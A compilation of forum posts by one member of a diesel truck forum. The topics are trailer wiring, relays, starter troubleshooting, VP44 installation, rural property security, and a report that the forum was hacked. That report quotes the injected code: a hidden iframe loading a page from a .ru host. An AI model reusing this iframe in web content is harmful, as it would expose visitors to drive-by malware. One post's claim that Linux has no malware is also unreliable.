Mopar1973Man

Our backyard as a few days ago...

No issues. As for being hooked to the truck I left mine alone and just remember to pull the trailer line when camping. Nothing special that way there is no need for wiring mods. Not to mention I feel safer knowing that there is always power getting back to the RV batteries keep them charged all the time I'm rolling so if there was a need for the break-away switch to activate I know the RV batteries have been charged. But with a solenoid / relay in between the power source and the trailer bother me a bit.

That circuit is already covered by a 40A fuse in the PDC box.

Confess Rogan... You've been out brake standing that truck haven't you? Boosted launches down the side streets?

Hmmm... Starter circuit is rather simple. The key triggers the relay in the PDC and has a fuse for going down to the starter. So for testing purpose unhook the brown wire on the starter and cover the end. Turn the key to start and check the starter fuse is it blown? If not then the starter has something internally wrong with the solenoid. But if its is blown there is a short in the brown wire between the relay and the starter solenoid.

ISX has a wonderful way of explaining the relay hook up. But I'll try. Looking at a relay. So in your case you want... 86 going to keyed hot lead in the truck. 85 going to body ground. 87 to the fuse lead. 30 going to the trailer plug. Also you want a heavy duty 30-40 Amp relay as well...

Every oil change I attempt to grease my front shaft up good. I sure don't want to change those two again...

Question what's your fuel pressure like? (both idle and WOT)...and do you have any error codes?

Nice tractor. Those little 24 HP engine really do work and work hard! :thumbup2:All I can say is stay after the air filter on that little beast I know what its like to pull a engine out of one and it's not fun at all.

MAP sensors where change every year from 98.5 to 02. So was the pin out.2001.5 was the change over years for read disc brakes.2000 was the year they switched over to cam sensor only (IIRC - Please verify someone)

In the PDC (Power distribution center) under the hood should be a 40 amp fuse for the trailer that is what feed that 12V lead at the trailer plug on the truck. Other than that your going to have to wire in a relay to cut the power on that leg.

Trust me I thought of you many of times and knew that was the truth of it.

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Ok... So I'm busted... UPDATE: Installing vB 4.2.0 Patch level 3. I think they gain entry through the Joomla and managed to hack the index.htm. But Also the article database is ringing red flags too so I assume that where the hacker managed to get in. So I'll get the update hammer into that next. I'm going to work hard and long tonight to harden the site up again. (#%&) Hackers... Grrr...

Site has been hacked... :banghead: But I got the code out of it. <iframe src="http://lemonadiom.ru:8080/forum/links/news.php"></iframe> If you run across more let me know. I'm going to call my hosting provider. UPDATE: Nothing basically they can do they assume its a weakness in my site somewhere and need to update everything. Yes my Joomla is a few sub versions behind and the vBulletin is due for 4.2.1 as soon as its released. So hang in tight gang.. Please give me any information if you find more...

Ok found it... Now to route it out..

It is in the middle of nowhere. I've been informed by Adams County deputy that they will not come down here typical because they are to afraid because of lack of cell and radio service. Then there is more drug and alcohol usage in the area now since things are getting rather depressed around the area. So grape vine rumors are going around of little things disappearing. So time to secure the fort. Because I can't rely on local police force (60 miles away) and I'm not going to support someone else's drug and alcohol habit with our property and belongings.Already had the fire house vandalized this summer. So how much more clue do I need.

Could someone post this error and what its saying. So I can investigate it more since 2 people now see it. I personally think is a fluke and poor definitions on AVG part.If its particular URL's or pages please list them too.Here is my check.

I'm really surprise that we are heading down the very same path. Personally I didn't vote for one reason. You would have to vote for the less of the two evils. HUH?! They are both evil and wrong so I can't vote.

Well I got to finish my fencing project after I install a VP44 for a local gent today. I'm going to talk to him and see if he's got a T post hammer so I can replace a few missing T post and then I'm going to string up a bit of barbed wire to close off the front of the property. What's bothering me is the firewood pile. This spot I'm using is next to driveway and wouldn't take much to drive up and load rounds. But once the fence is in you not going to lift a 100-200 pound round over the fence to well.More or less keep the honest people honest. Because if someone wants it bad enough they will cut locks, push open gates, push over fences to get what they want. It the difference of making it difficult so they might get caught.

Haggar bring another good point up it wouldn't be a bad idea to check error codes.

@ ISXI went as far as calling a few friends to help out but would you believe it no one was available they all had other things to do. So I push myself to complete before the rains set in today (40% chance).

Were Screwed!

Google report no malware.There is only 2 pieces of software here. vBulletin 4.2.0 and Joomla 2.5.3 which haven't changed in over 6-9 months. I'm waiting for the vBulletin 4.2.1 update before doing the up Joomla 2.5.6 update.Maybe you need to Linux there no such thing as malware over here.

As for the weird shifting and lock and unlock issues I would bench test the alternator and batteries first thing. Then go forward from there. I rather replace or repair something simple than replacing high dollar parts on a guess.